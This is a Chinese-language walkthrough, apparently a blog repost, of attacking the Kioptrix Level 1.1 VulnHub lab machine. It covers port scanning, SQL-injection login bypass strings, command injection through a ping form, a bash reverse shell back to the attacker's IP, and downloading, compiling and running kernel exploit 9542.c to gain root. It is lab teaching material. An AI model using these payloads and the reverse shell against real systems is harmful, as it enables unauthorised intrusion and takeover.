欢迎光临
我们一直在努力

【Kioptrix Level 1.1渗透测试手把手超详细教程附下载链接】

本文记录了Kioptrix Level 1.1靶机的完整详细渗透测试过程,包括信息收集、漏洞发现、获取shell以及提权至root的方法。

靶机下载链接:https://download.vulnhub.com/kioptrix/Kioptrix_Level_2-update.rar 靶机名称:Kioptrix Level 1.1 测试时间:2026/3/18 如果遇到查找不到靶机的情况,参考这篇文章的开头部分: https://blog.csdn.net/uhszjhshdjsjsj/article/details/159168830?spm=1001.2014.3001.5501

一.概述

  • 查询攻击机(kali)IP:

ifconfig

得到攻击机(kali)IP:192.168.253.166

  • 查询靶机IP:

nmap -sn 192.168.253.00/24或netdiscover -r 192.168.253.00/24

在这里插入图片描述 得到靶机IP:192.168.253.169

二. 信息收集

  • 1.扫描全部端口

nmap -A -p 1-64000 192.168.253.169

在这里插入图片描述

得到开放端口有 22: ssh服务,用于远程登录 80:网页默认的 HTTP 端口 111:远程调用另一台机器函数 443:HTTPS端口 631:打印系统,注意允许使用PUT方法(待会或许是个突破口) 3306:MYSQL

  • 2.Web网页目录扫描:

dirb http://192.168.253.169 或者

dirsearch -u http://192.168.253.169 -x 404,403,400

在这里插入图片描述 发现有一个manual/index.html目录 这是Apache 自带的官方文档页面

  • 3.web指纹识别

whatweb http://192.168.253.169

在这里插入图片描述

因为靶机古老所以运行着老版本服务器状态码 200 说明页面可正常访问

  • 4.查看服务器响应头

curl -i http://192.168.253.169

在这里插入图片描述看来页面是一个登录系统

  • 5.打开网页收集信息

网址直接输入192.168.253.169即可访问 在这里插入图片描述 这是一个登录系统,看到这个就要先尝试弱密码和SQL注入

先用admin;123456这类的弱密码尝试一遍,发现失败了 再用sql注入尝试(想快速入门sql注入基础的可参考),这里提供两种输入(并不代表只有两种):

  • 第一种:用万能密码输入用户名:’ or ‘a’=’a ;密码:' or '1'='1
  • 第二种:用万能密码:' or 1=1– -(注意这里面第二个-和第三个-中间隔着一个空格而不是三个-连一起)输入任意一个框,另一个框随便输

均发现成功登录 在这里插入图片描述 这里我简单解释一下万能密码的SQL注入原理: 假设SQL代码是:

SELECT * FROM users
WHERE username = '$uname' AND password = '$psw';

当我们输入第一种这两个万能密码代码变成

SELECT * FROM users
WHERE username = '' or 'a'='a' AND password = '' or '1'='1';

因为AND优先级大于OR 所以代码即变成

(username='' or 'a'='a')
AND (password='' or '1'='1')

进而分成两个

username=('') or ('a'='a')

password=('') or ('1'='1')

因为or左边部分''闭合,右边部分'a'='a'和'1'='1'恒为真,所以构成万能密码 第二种输入' or 1=1– -代码变成

username='' or 1=1— -' AND password='123'

注意后半段的代码变成了灰色部分,这是因为– (–后面有空格)是注释符,会把后面的代码注释掉,类似于写代码时用#写注释,所以这里改成' or 1=1#也可以,注释后or后面的1=1恒真,所以也构成万能密码 在这里插入图片描述 进去后发现提示输入ping命令,看到这种带ping的输入框就要首先考虑命令注入和XSS,命令注入就是IP + 分隔符 + 命令,分隔符有许多种,常见的分隔符有;.&&. &.||. |.`.$()等等,有时候还需要用编码绕过过滤,所以我们一个一个尝试

  • 输入127.0.0.1;id 在这里插入图片描述 在这里插入图片描述 看底下说明命令执行成功,那我们直接输入反弹shell命令: 127.0.0.1;bash -i >& /dev/tcp/192.168.253.166/1234 0>&1 在这里插入图片描述

并且在终端监听

nc -lnvp 1234

在这里插入图片描述 成功监听

三. 漏洞发现与利用

Web漏洞

漏洞类型:SQL注入+ping命令注入漏洞

利用过程:1.发现网页需要输入用户名和密码尝试sql注入成功登录 2.发现需要输入ping命令,所以和其他命令结合输入成功得到反弹shell

四. 权限提升

  • 升级得到一个交互更好的bash

python -c 'import pty; pty.spawn("/bin/bash")'

  • 用id或whoami查看自己身份 在这里插入图片描述

  • 查看内核版本

uname -a

在这里插入图片描述

  • 同样查看版本

lsb_release -a

在这里插入图片描述 版本很低我们直接进行内核提权,新建一个终端搜索提权漏洞

searchsploit centos 4.5

根据刚才查到的版本号搜索 在这里插入图片描述

我们看到第二个漏洞9542.c也符合我们的linux内核版本

  • 下载文件到kali

searchsploit -m 9542.c

在这里插入图片描述 下载成功

  • 共享目录文件

python3 -m http.server

在这里插入图片描述

  • 回到靶机下载文件

wget http://192.168.253.166:8000/9542.c

在这里插入图片描述 但是结果显示我们没有写权限,我们输入cd /tmp进入到/tmp目录,因为这个目录有写权限,然后再进行下载

wget http://192.168.253.166:8000/9542.c

在这里插入图片描述 这回下载成功

  • 编译文件,-o 9542 表示指定编译输出的可执行文件名为 9542,之后可以通过 ./9542 命令运行它

gcc -o 9542 9542.c

  • 执行文件

./9542

在这里插入图片描述 输入id发现已经得到root权限

五.总结与反思

本次测试主要难点:

  • Web 入口突破:面对一个登录页面,没有现成的密码。需要灵活运用 SQL 注入技巧(万能密码)来绕过认证。

  • 命令注入的探测与利用:在获得后台的 ping 命令执行框后,如何找到正确的命令分隔符(;)并成功执行自定义命令,同时要避免被可能的输入过滤机制拦截。

  • 学到的技巧:

  • SQL 注入实战:通过万能密码 ’ or 1=1– 成功登录,加深了对 SQL 查询结构、单引号闭合、注释符 (– ) 以及 AND/OR 优先级的理解。

  • 命令注入:掌握了在 Web 表单中通过命令分隔符拼接恶意系统命令的方法,并成功获得初始 shell。

  • 该靶机漏洞出现在80端口(通过sql注入成功登录系统,利用了命令注入获取反弹shell) 提权是通过内核旧版本漏洞提权成功

    赞(0)
    未经允许不得转载:171主机测评 » 【Kioptrix Level 1.1渗透测试手把手超详细教程附下载链接】
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址